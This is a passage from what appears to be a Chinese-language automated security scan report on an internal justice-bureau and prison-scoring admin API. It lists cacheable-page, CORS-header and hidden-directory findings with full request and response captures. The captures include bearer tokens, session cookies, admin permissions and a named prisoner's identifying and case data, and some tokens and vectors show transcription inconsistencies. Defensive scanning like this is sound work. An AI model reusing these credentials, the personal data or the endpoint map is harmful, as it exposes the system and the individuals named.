- 推理： 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。
- 测试请求和响应：

```
GET /admin-api/system/dict-data/page?pageNo=1&pageSize=10&dictType=xt_jxjsyjlxx HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99b1f8a1731d4e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/warningInfo/reduce
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18rhulur7hhzpmx0p5504.node0
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:24:19 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node01c0rjch7j0snr7as8njez1sd5849.node0; Path=/

{
  "code": 0,
  "data": {
    "list": [
      {
        "sort": 6,
        "label": "多维度资格筛查预警",
        "value": "6",
        "dictType": "xt_jxjsyjlxx",
        "status": 0,
        "colorType": "default",
        "cssClass": "",
        "remark": null,
        "id": 1262,
        "createTime": 1730100519000
      },
      {
        "sort": 4,
        "label": "工作处理超时预警",
        "value": "4",
        "dictType": "xt_jxjsyjlxx",
        "status": 0,
        "colorType": "default",
        "cssClass": "",
        "remark": null,
        "id": 1260,
        "createTime": 1730100495000
      },
      {
        "sort": 3,
        "label": "工作节点责任人合规性预警",
        "value": "3",
```

```

    "dictType": "xt_jxjsyjl",
    "status": 0,
    "colorType": "default",
    "cssClass": "",
    "remark": null,
    "id": 1259,
    "createTime": 1730100485000
  },
  {
    "sort": 1,
    "label": "工作证明材料真实性预警",
    "value": "1",
    "dictType": "xt_jxjsyjl",
    "status": 0,
    "colorType": "default",
    "cssClass": "",
    "remark": null,
    "id": 1257,
    "createTime": 1730100465000
  }
],
"total": 4
},
"msg": ""
}

```

发现可高速缓存的 SSL 页面	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/chain/shouye/aggregate
实体：	aggregate (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因：	浏览器可能已将敏感信息高速缓存
固定值：	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

差异：

推理： 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。

测试请求和响应：

```

GET /admin-api/chain/shouye/aggregate HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
Content-Length: 0


HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:23:58 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block

```



```
Set-Cookie: JSESSIONID=node0131mtt64xem9n1lwogw5irgrz328.node0; Path=/

{
  "code": 0,
  "data": {
    "pchs": [
      "202505",
      "202504",
      "202503",
      "202502",
      "202501",
      "202406",
      "202405",
      "202404",
      "202403",
      "202402",
      "202306",
      "202302"
    ],
    "batchInfo": {
      "id": null,
      "tcjy": "深圳监狱",
      "pch": "202505",
      "jxrs": 13,
      "jsrs": 4
    },
    "pieChart": {
      "jfkx": 0,
      "jx": 0,
      "js": 0
    }
  },
  "msg": ""
}
```

发现可高速缓存的 SSL 页面	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/chain/jfkx-mc/getByld
实体:	getByld (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	浏览器可能已将敏感信息高速缓存
固定值:	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

- 差异:
- 推理: 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。
- 测试请求和响应:

```
GET /admin-api/chain/jfkx-mc/getById?id=C61871F8067EB211B9A8BAAC1B34635E HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 1596f2c254a640ff99bf11f8a1731d4e
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/smartContracts/score/martires?indexJumpId=C61871F8067EB211B9A8BAAC1B34635E
Accept-Language: en-US
Cookie: JSESSIONID=node0vef9kts18zhulur7hhzpmx0p5504.node0
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
```

```
Date: Tue, 17 Mar 2026 02:24:22 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node03duigkr2ngsz3jv7c1rymqsh450.node0; Path=/
```

```
{
  "code": 0,
  "data": {
    "jxId": "1538543733958516736",
    "jxmcId": "1543768284581601280",
    "yjId": "02D767F8067EB21153B0196C665C8177",
    "zfbh": "4463043064",
    "hyjg": "3",
    "createTime": 1764929896475,
    "gkId": null,
    "id": "C61871F8067EB211B9A8BAAC1B34635E",
    "gyjy": "深圳监狱",
    "jqmc": "出监 3 分",
    "xm": "黄永建",
    "ah": "(2025)深监刑执字第5091号",
    "pch": "202505",
    "tqrq": null
  },
  "msg": ""
}
```

发现可高速缓存的 SSL 页面	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/tenant/get-id-by-name
实体:	get-id-by-name (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	浏览器可能已将敏感信息高速缓存
固定值:	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

差异: cookie JSESSIONID 已从请求除去: node0pm2w4g0cz6ej1pfqck41rg83dl8028.node0

推理: 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。

测试请求和响应:

```
GET /admin-api/system/tenant/get-id-by-name?name=%E4%BB%8E%E6%B3%95%E7%A7%91%E6%8A%80 HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:41:20 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
```

发现可高速缓存的 SSL 页面	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:U/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/M:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/auth/get-permission-info
实体:	get-permission-info (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	浏览器可能已将敏感信息高速缓存
固定值:	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

- 差异: cookie JSESSIONID 已从请求除去: node0chegonhxreje15ij36dxrlj2ql9961.node0
- 推理: 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。
- 测试请求和响应:

```
GET /admin-api/system/auth/get-permission-info HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 26131aaab7e4936b08850447b8202ec
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/login?redirect=%2Findex
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:10:21 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node01d3e7zw7y0bw96a9gsp119qpo20019.node0; Path=/

{
  "code": 0,
  "data": {
    "user": {
      "id": 993,
      "nickname": "szsfj",
      "avatar": ""
    },
    "roles": [
      "sfj_admin"
    ]
  }
}
```

```

],
"permissions": [
  "",
  "system:menu:query",
  "system:user:delete",
  "system:user:import",
  "system:permission:assign-role-menu",
  "system:user:query",
  "system:user:update",
  "system:user:export",
  "system:menu:delete",
  "system:dept:update",
  "system:dept:delete",
  "system:menu:update",
  "system:dept:query",
  "system:permission:assign-role-data-scope",
  "system:role:update",
  "system:role:delete",
  "system:dept:create",
  "system:user:list",
  "system:menu:create",
  "system:user:create",
  "system:role:export",
  "warningInfo;jy:btn",
  "warningInfo;jb:btn",
  "system:permission:assign-user-role",
  "system:user:update-password",
  "system:role:create",
  "system:role:query"
],
"menus": [
  {
    "id": 2162,
    "parentId": 0,
    "name": "信息存证",
    "path": "/infoStorage",
    "component": null,
    "componentName": null,
    "icon": "dict",
    "visible": true,
    "keepAlive": true,
    "alwaysShow": true,
    "children": [
      {
        "id": 2163,
        "parentId": 2162,
        "name": "监狱业务基础信息",
        "path": "businessBase/index",
        "component": "infoStorage/businessBase/index",
        "componentName": "businessBaseIndex",
        "icon": "color",
        "visible": true,
        "keepAlive": true,
        "alwaysShow": true,
        "children": null
      },
      {
        "id": 2164,
        "parentId": 2162,
        "name": "人员名单",
        "path": "businessBase/persion",
        "component": "infoStorage/businessBase/persion",
        "componentName": "businessBasePersion",
        "icon": "peoples",
        "visible": false,
        "keepAlive": false,
        "alwaysShow": false,
        "children": null
      },
      {
        "id": 2165,
        "parentId": 2162,
        "name": "罪犯基础信息",
        "path": "criminalBase/index",
        "component": "infoStorage/criminalBase/index",
        "componentName": "criminalBaseIndex",
        "icon": "message",
        "visible": true,
        "keepAlive": true,
        "alwaysShow": true,
        "children": null
      },
      {
        "id": 2166,
        "parentId": 2162,
        "name": "犯罪详情信息",
        "path": "criminalBase/detail",
        "component": "infoStorage/criminalBase/detail",
        "componentName": "criminalBaseDetail",
        "icon": "input",
        "visible": false,
        "keepAlive": false,
        "alwaysShow": false,

```

```
"children": null
},
{
  "id": 2170,
  "parentId": 2162,
  "name": "计分登记信息",
  "path": "scoreRegistration",
  "component": null,
  "componentName": null,
  "icon": "edit",
  "visible": true,
  "keepAlive": true,
  "alwaysShow": true,
  "children": [
    {
      "id": 2171,
      "parentId": 2170,
      "name": "计分登记信息 / 日常扣分审批表",
      "path": "dailyScore/index",
      "component": "infoStorage/scoreRegistration/dailyScore/index",
      "componentName": "dailyScoreIndex",
      "icon": "drag",
      "visible": true,
      "keepAlive": true,
      "alwaysShow": true,
      "children": null
    },
    {
      "id": 2172,
      "parentId": 2170,
      "name": "计分登记信息 / 加扣分详情",
      "path": "dailyScore/detail",
      "component": "infoStorage/scoreRegistration/dailyScore/detail",
      "componentName": "dailyScoreDetail",
      "icon": "cascader",
      "visible": false,
      "keepAlive": true,
      "alwaysShow": false,
      "children": null
    },
    {
      "id": 2173,
      "parentId": 2170,
      "name": "计分登记信息 / 罪犯月考核分汇总表",
      "path": "zfykhfhzb/index",
      "component": "infoStorage/scoreRegistration/zfykhfhzb/index",
      "children": null
    }
  ]
},
...
...
...
```

发现可高速缓存的 SSL 页面	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL：	https://10.249.2.1:8090/admin-api/system/user/get
实体：	get (Page)
风险：	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因：	浏览器可能已将敏感信息高速缓存
固定值：	通过在响应中添加“Cache-Control: no-store”和“Pragma: no-cache”标题，可以阻止高速缓存 SSL 页面。

差异： cookie JSESSIONID 已从请求除去： node0chegonhxreje15ij36xkrlj2qi9961.node0

推理： 应用程序已进行响应，指示该页面应进行高速缓存，但未设置高速缓存控件（可以设置“Cache-Control: no-store”、“Cache-Control: no-cache”或“Pragma: no-cache”来防止高速缓存）。

测试请求和响应：

```
GET /admin-api/system/user/get?id=993 HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
Authorization: Bearer 26131aaab7e4936b08850447b8202ec
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 03:10:21 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
trace-id:
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Set-Cookie: JSESSIONID=node01ujx707t55siu15619xwf04mmd20022.node0; Path=/

{
  "code": 0,
  "data": {
    "username": "szsfj",
    "nickname": "szsfj",
    "remark": null,
    "deptId": 112,
    "postIds": null,
    "email": "",
    "mobile": "",
    "sex": 0,
    "avatar": "",
    "approvalStatus": null,
    "adminUserType": 2,
    "id": 993,
    "status": 0,
    "loginIp": "50.1.7.201",
    "loginDate": 1773716991000,
    "createTime": 1763347056000,
    "dept": {
      "id": 112,
      "name": "深圳市司法局"
    }
  },
  "msg": ""
}
```

低

在应用程序中发现不必要的 Http 响应头 1

TOC

问题 1 / 1

TOC

在应用程序中发现不必要的 Http 响应头	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/admin-api/system/auth/logout
实体:	10.249.2.1 (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息，如用户名、密码、机器名和/或敏感文件位置
原因:	Web 应用程序编程或配置不安全
固定值:	请勿允许敏感信息泄漏。

差异:

推理： 响应包含不必要的头，这可能会帮助攻击者计划进一步攻击。

测试请求和响应：

```
POST /admin-api/system/auth/logout HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand);v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0pm2w4g0oz6ejlpfqck4lrg83dl8028.node0
Content-Length: 0

HTTP/1.1 200 OK
Server: nginx/1.27.2
Date: Tue, 17 Mar 2026 02:43:20 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 3600L
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
trace-id:
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Access-Control-Allow-Origin: *

{
  "code": 0,
  "data": true,
  "msg": ""
}
```

检测到隐藏目录	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/
实体：	web-inf/ (Page)
风险：	可能会检索有关站点文件系统结构的信息，这可能会帮助攻击者映射此 Web 站点
原因：	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值：	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去

差异： 方法 从以下位置进行控制： POST 至： GET
路径 从以下位置进行控制： /admin-api/system/auth/logout 至： /examples/web-inf/

推理： 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在，尽管不允许访问。

测试请求和响应：

```
GET /examples/web-inf/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpgl5v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

检测到隐藏目录	
严重性：	低
CVSS 分数：	3.7
CVSS 向量：	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/M:X/MA:X
URL：	https://10.249.2.1:8090/
实体：	WEB-INF/ (Page)
风险：	可能会检索有关站点文件系统的信息，这可能会帮助攻击者映射此 Web 站点
原因：	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值：	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去

差异： 方法 从以下位置进行控制： POST 至： GET

路径 从以下位置进行控制： /admin-api/system/auth/logout 至： /WEB-INF/

推理： 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在，尽管不允许访问。

测试请求和响应：

```
GET /WEB-INF/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpgl5v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
```



```
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

检测到隐藏目录	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/IAR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/
实体:	new%20folder%20(2)/ (Page)
风险:	可能会检索有关站点文件系统结构的信息，这可能会帮助攻击者映射此 Web 站点
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去

差异: 方法 从以下位置进行控制: POST 至: GET

路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /new%20folder%20(2)/

推理: 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在，尽管不允许访问。

测试请求和响应:

```
GET /new%20folder%20(2)/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpg15v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

检测到隐藏目录	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/
实体:	new%20folder%20(3)/ (Page)
风险:	可能会检索有关站点文件系统结构的信息，这可能会帮助攻击者映射此 Web 站点
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去

- 差异: 方法 从以下位置进行控制: POST 至: GET
路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /new%20folder%20(3)/
- 推理: 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在，尽管不允许访问。
- 测试请求和响应:

```
GET /new%20folder%20(3)/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not(A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpg15v17pa8isa2ot0b19242.node0
Authorization: Bearer 3afeec581f2f4422830d63cfee839d50
Content-Length: 0

HTTP/1.0 403 Forbidden
Cache-Control: no-cache
Connection: close
Content-Length: 1584
Content-Type: text/html
```

检测到隐藏目录	
严重性:	低
CVSS 分数:	3.7
CVSS 向量:	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A/N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MJI:X/MS:X/MC:X/MI:X/MA:X
URL:	https://10.249.2.1:8090/
实体:	html/ (Page)
风险:	可能会检索有关站点文件系统结构的信息，这可能会帮助攻击者映射此 Web 站点
原因:	Web 服务器或应用程序服务器是以不安全的方式配置的
固定值:	对禁止的资源发布“404 - Not Found”响应状态代码，或者将其完全除去

- 差异: 方法 从以下位置进行控制: POST 至: GET
路径 从以下位置进行控制: /admin-api/system/auth/logout 至: /html/
- 推理: 测试尝试检测服务器上的隐藏目录/文件。响应状态为 200 OK 或 403 Forbidden。状态 200 表示测试成功检索了所请求目录/文件的内容。状态 403 表明它确实存在，尽管不允许访问。

测试请求和响应：

```
GET /html/ HTTP/1.1
Host: 10.249.2.1:8090
Connection: keep-alive
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0
Accept: application/json, text/plain, */*
sec-ch-ua: "Not (A:Brand";v="8", "Chromium";v="144", "Microsoft Edge";v="144", "Microsoft Edge WebView2";v="144"
sec-ch-ua-mobile: ?0
tenant-id: 1
Origin: https://10.249.2.1:8090
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.249.2.1:8090/home
Accept-Language: en-US
Cookie: JSESSIONID=node0cr7vn1gpgl5v17pa8isa2ot0b19242.node0
